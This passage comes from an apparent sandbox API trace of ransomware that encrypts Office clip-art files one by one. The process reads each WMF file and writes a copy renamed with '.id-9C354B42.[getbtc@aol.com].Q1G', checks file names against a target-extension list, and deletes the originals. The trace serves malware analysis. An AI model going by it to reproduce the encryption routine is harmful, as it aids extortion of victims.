lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4464, lpOverlapped=0x0) returned 1 [0263.641] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4470, lpOverlapped=0x0) returned 1 [0263.642] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.642] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.643] SetEndOfFile (hFile=0x388) returned 1 [0263.643] CloseHandle (hObject=0x388) returned 1 [0263.643] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.643] SetEndOfFile (hFile=0x3a8) returned 1 [0263.646] CloseHandle (hObject=0x3a8) returned 1 [0263.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".doc") returned 4 [0263.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".docx") returned 5 [0263.648] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.648] lstrlenW (lpString=".pdf") returned 4 [0263.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".xls") returned 4 [0263.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.648] lstrlenW (lpString=".xlsx") returned 5 [0263.648] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.648] lstrlenW (lpString=".ppt") returned 4 [0263.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".zip") returned 4 [0263.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.648] lstrlenW (lpString=".rar") returned 4 [0263.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".bz2") returned 4 [0263.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".7z") returned 3 [0263.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".dbf") returned 4 [0263.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".1cd") returned 4 [0263.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".jpg") returned 4 [0263.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.648] lstrlenW (lpString=".doc") returned 4 [0263.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".docx") returned 5 [0263.648] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.648] lstrlenW (lpString=".pdf") returned 4 [0263.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString=".xls") returned 4 [0263.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.649] lstrlenW (lpString=".xlsx") returned 5 [0263.649] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.649] lstrlenW (lpString=".ppt") returned 4 [0263.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.649] lstrlenW (lpString=".zip") returned 4 [0263.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.649] lstrlenW (lpString=".rar") returned 4 [0263.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString=".bz2") returned 4 [0263.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString=".7z") returned 3 [0263.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.649] lstrlenW (lpString=".dbf") returned 4 [0263.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.649] lstrlenW (lpString=".1cd") returned 4 [0263.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0263.649] lstrlenW (lpString=".jpg") returned 4 [0263.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.649] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.649] lstrlenW (lpString="J0157191.WMF") returned 12 [0263.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.650] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17912) returned 1 [0263.650] CloseHandle (hObject=0x3a8) returned 1 [0263.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0263.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.650] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.650] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.651] GetLastError () returned 0x0 [0263.651] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x45f8, lpOverlapped=0x0) returned 1 [0263.653] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4600, lpOverlapped=0x0) returned 1 [0263.655] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.655] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.655] SetEndOfFile (hFile=0x388) returned 1 [0263.655] CloseHandle (hObject=0x388) returned 1 [0263.655] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.655] SetEndOfFile (hFile=0x3a8) returned 1 [0263.657] CloseHandle (hObject=0x3a8) returned 1 [0263.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.658] lstrlenW (lpString=".doc") returned 4 [0263.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.658] lstrlenW (lpString=".docx") returned 5 [0263.658] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.658] lstrlenW (lpString=".pdf") returned 4 [0263.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.658] lstrlenW (lpString=".xls") returned 4 [0263.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.658] lstrlenW (lpString=".xlsx") returned 5 [0263.658] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.659] lstrlenW (lpString=".ppt") returned 4 [0263.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".zip") returned 4 [0263.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.659] lstrlenW (lpString=".rar") returned 4 [0263.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString=".bz2") returned 4 [0263.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString=".7z") returned 3 [0263.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".dbf") returned 4 [0263.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".1cd") returned 4 [0263.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".jpg") returned 4 [0263.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".doc") returned 4 [0263.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString=".docx") returned 5 [0263.659] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.659] lstrlenW (lpString=".pdf") returned 4 [0263.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString=".xls") returned 4 [0263.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.659] lstrlenW (lpString=".xlsx") returned 5 [0263.659] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.659] lstrlenW (lpString=".ppt") returned 4 [0263.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.659] lstrlenW (lpString=".zip") returned 4 [0263.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.660] lstrlenW (lpString=".rar") returned 4 [0263.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".bz2") returned 4 [0263.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".7z") returned 3 [0263.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.660] lstrlenW (lpString=".dbf") returned 4 [0263.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.660] lstrlenW (lpString=".1cd") returned 4 [0263.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0263.660] lstrlenW (lpString=".jpg") returned 4 [0263.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.660] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.660] lstrlenW (lpString="J0157831.WMF") returned 12 [0263.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.661] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11396) returned 1 [0263.662] CloseHandle (hObject=0x3a8) returned 1 [0263.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0263.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.662] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.662] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.663] GetLastError () returned 0x0 [0263.663] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2c84, lpOverlapped=0x0) returned 1 [0263.664] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0263.665] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.665] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.665] SetEndOfFile (hFile=0x388) returned 1 [0263.665] CloseHandle (hObject=0x388) returned 1 [0263.666] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.666] SetEndOfFile (hFile=0x3a8) returned 1 [0263.668] CloseHandle (hObject=0x3a8) returned 1 [0263.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString=".doc") returned 4 [0263.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString=".docx") returned 5 [0263.669] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.669] lstrlenW (lpString=".pdf") returned 4 [0263.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString=".xls") returned 4 [0263.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.669] lstrlenW (lpString=".xlsx") returned 5 [0263.669] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.669] lstrlenW (lpString=".ppt") returned 4 [0263.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString=".zip") returned 4 [0263.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.669] lstrlenW (lpString=".rar") returned 4 [0263.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString=".bz2") returned 4 [0263.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString=".7z") returned 3 [0263.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString=".dbf") returned 4 [0263.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString=".1cd") returned 4 [0263.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString=".jpg") returned 4 [0263.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.670] lstrlenW (lpString=".doc") returned 4 [0263.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString=".docx") returned 5 [0263.670] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.670] lstrlenW (lpString=".pdf") returned 4 [0263.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString=".xls") returned 4 [0263.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.670] lstrlenW (lpString=".xlsx") returned 5 [0263.670] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.670] lstrlenW (lpString=".ppt") returned 4 [0263.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.670] lstrlenW (lpString=".zip") returned 4 [0263.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.670] lstrlenW (lpString=".rar") returned 4 [0263.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString=".bz2") returned 4 [0263.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString=".7z") returned 3 [0263.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.670] lstrlenW (lpString=".dbf") returned 4 [0263.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.670] lstrlenW (lpString=".1cd") returned 4 [0263.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0263.670] lstrlenW (lpString=".jpg") returned 4 [0263.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.670] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.670] lstrlenW (lpString="J0158071.WMF") returned 12 [0263.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.671] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=18652) returned 1 [0263.671] CloseHandle (hObject=0x3a8) returned 1 [0263.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0263.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.671] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.672] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.672] GetLastError () returned 0x0 [0263.672] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x48dc, lpOverlapped=0x0) returned 1 [0263.847] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x48e0, lpOverlapped=0x0) returned 1 [0263.848] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.848] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, 